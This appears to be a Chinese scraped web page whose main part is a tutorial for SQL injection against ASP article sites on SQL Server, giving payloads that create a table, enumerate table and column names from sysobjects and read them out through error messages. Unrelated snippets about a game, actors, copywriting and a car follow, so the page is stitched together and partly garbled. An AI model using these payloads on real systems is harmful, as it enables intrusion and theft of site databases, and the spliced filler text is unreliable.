大家在是否碰到过这样的站点:
全站文章系统采用FSO静态生成的HTML文件来显示。这样做的好处一来可以减轻服务器负担,提高访问速度。二来也阻止了SQL注入式的攻击。。
我来说说他们的文章系统原理:全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。
攻击 *** :
查看源文件/看里面是否有通过 *** 来调用的页面。
如调用来更新文章的浏览次数。
我们就可以这样来试一下可否注入:
http://服务器域名/count.asp?id=1552’
看一下是否出错。如出错说明有注入漏洞。然后正常攻击。
在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)
post.htm内容:主要是方便输入。
对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER
对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--
然后插入一条记录:id=1552;insert into aaa values(’test’);--
再之后枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
这是将之一个表名更新到aaa的字段处。
id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:看:
Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’
将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。
/search.asp,行21
其中vote就是表名:
也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。
读出之一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
道qq密码找黑客手机号相关问题 黑客军团有几季相关问题 黑客需要买什么工具 黑客攻防从入门到精通(黑客攻防从入门到精通电子书下载)...
剑与远征团队副本怎么玩?剑与远征目前已经正式开启了新的团队副本玩法,这次的团队副本作为一个新的玩法,大家都玩的很high吧,那大家知道游戏中的团队副本应该怎么开荒吗?具体在开荒的时候有什么技巧呢?下面...
文案写得欠好,笔下气力不大,但我坚信水滴石穿的故事。把一路上碰着的告白文案、影戏台词、书籍语录等等,保藏进本身的脑壳里。相信有一天,我也能写出刺穿魂灵的文案。 1、我自问这辈子没做过坏事,除了忽略妈...
本文导读目录: 1、香港有几个演员有武术功底? 2、]香港男演员图名对照06期 3、在一部电影中有七个之上的小和尚演过的所有电影名称 4、红花会总舵主是什么官职? 5、香港大佬女儿al...
本文目录一览: 1、美国白帽子什么意思 2、黑客词典:什么是白帽,灰帽和黑帽黑客 3、IT圈说的白帽子,红帽子,黑帽子都是指什么 4、黑客分为白帽子与黑帽子两类请你说说他们的区别 美国白...
北京长安cs35如何(北京长安CS35优优势与劣势)诸位好,我是北京长安CS35驾车者,早已行车16月,下边为大伙儿共享《提了一台长安CS35值吗?驾驶16个月,车主有话想说》。环顾时下,汽车制造...